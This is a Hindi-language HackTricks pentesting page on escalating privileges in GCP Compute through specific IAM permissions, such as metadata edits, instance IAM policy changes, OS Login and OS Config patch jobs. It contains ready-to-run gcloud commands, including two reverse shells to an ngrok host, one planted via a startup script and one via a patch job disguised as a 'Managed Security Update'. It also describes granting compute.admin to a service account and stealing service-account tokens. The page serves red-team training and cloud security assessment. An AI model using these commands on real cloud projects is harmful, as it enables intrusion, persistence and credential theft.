GCP - Compute Privesc

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Compute

GCP में Compute और VPC (नेटवर्क) के बारे में अधिक जानकारी के लिए देखें:

GCP - Compute Enum

caution

ध्यान दें कि उन सभी विशेषाधिकार वृद्धि हमलों को करने के लिए जो इंस्टेंस के मेटाडेटा को संशोधित करने की आवश्यकता होती है (जैसे नए उपयोगकर्ताओं और SSH कुंजियों को जोड़ना) यह आवश्यक है कि आपके पास इंस्टेंस से जुड़े SA पर actAs अनुमतियाँ हों, भले ही SA पहले से ही जुड़ा हो!

compute.projects.setCommonInstanceMetadata

उस अनुमति के साथ आप संशोधित कर सकते हैं मेटाडेटा जानकारी को एक इंस्टेंस का और एक उपयोगकर्ता के अधिकृत कुंजियों को बदल सकते हैं, या sudo अनुमतियों के साथ नया उपयोगकर्ता बना सकते हैं। इसलिए, आप किसी भी VM इंस्टेंस में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ इंस्टेंस चल रहा है।
सीमाएँ:

  • ध्यान दें कि VM इंस्टेंस में चलने वाले GCP सेवा खातों का डिफ़ॉल्ट रूप से बहुत सीमित दायरा होता है
  • आपको लॉगिन करने के लिए SSH सर्वर से संपर्क करने में सक्षम होना चाहिए

इस अनुमति का लाभ उठाने के बारे में अधिक जानकारी के लिए देखें:

GCP - Add Custom SSH Metadata

आप नए स्टार्टअप-स्क्रिप्ट को जोड़कर और इंस्टेंस को पुनरारंभ करके भी इस हमले को कर सकते हैं:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

यह अनुमति पिछली अनुमति के समान विशेषाधिकार देती है लेकिन एक विशिष्ट उदाहरण पर, पूरे प्रोजेक्ट के बजाय। पिछले अनुभाग के लिए समान शोषण और सीमाएँ लागू होती हैं

compute.instances.setIamPolicy

इस प्रकार की अनुमति आपको पिछली अनुमतियों के साथ एक भूमिका देने और उनका दुरुपयोग करके विशेषाधिकार बढ़ाने की अनुमति देगी। यहाँ एक उदाहरण है जिसमें roles/compute.admin को एक सेवा खाते में जोड़ा गया है:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

यदि OSLogin इंस्टेंस में सक्षम है, तो इस अनुमति के साथ आप बस gcloud compute ssh [INSTANCE] चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर रूट प्रिविलेज़ नहीं होंगे।

tip

इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs अनुमति होनी चाहिए।

compute.instances.osAdminLogin

यदि OSLogin इंस्टेंस में सक्षम है, तो इस अनुमति के साथ आप बस gcloud compute ssh [INSTANCE] चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर रूट प्रिविलेज़ होंगे।

tip

इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs अनुमति होनी चाहिए।

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

यह संभव है कि एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और सेवा खाते का टोकन चुराया जाए जो मेटाडेटा को एक्सेस करके प्रिविलेज़ को बढ़ाने के लिए है।

इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट यहां मिल सकती है।

osconfig.patchDeployments.create | osconfig.patchJobs.exec

यदि आपके पास osconfig.patchDeployments.create या osconfig.patchJobs.exec अनुमतियाँ हैं, तो आप एक पैच जॉब या डिप्लॉयमेंट बना सकते हैं। यह आपको वातावरण में लेटरली मूव करने और एक प्रोजेक्ट के भीतर सभी कंप्यूट इंस्टेंस पर कोड निष्पादन प्राप्त करने में सक्षम करेगा।

ध्यान दें कि वर्तमान में आपको इंस्टेंस से जुड़े SA पर actAs अनुमति की आवश्यकता नहीं है।

यदि आप इसे मैन्युअल रूप से एक्सप्लॉइट करना चाहते हैं, तो आपको या तो एक पैच जॉब या डिप्लॉयमेंट** बनानी होगी।
पैच जॉब चलाने के लिए:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

एक पैच डिप्लॉयमेंट को लागू करने के लिए:

bash
gcloud compute os-config patch-deployments create <name> ...

उपकरण patchy का उपयोग अतीत में इस गलत कॉन्फ़िगरेशन का शोषण करने के लिए किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।

एक हमलावर इसे स्थिरता के लिए भी दुरुपयोग कर सकता है।

compute.machineImages.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ कंप्यूट इमेज पर दें।

compute.snapshots.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क स्नैपशॉट पर दें।

compute.disks.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क पर दें।

एक्सेस स्कोप को बायपास करें

इस लिंक का पालन करते हुए आप कुछ विचार पाएंगे जो एक्सेस स्कोप को बायपास करने के लिए आजमाए जा सकते हैं

GCP कंप्यूट इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि

GCP - local privilege escalation ssh pivoting

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें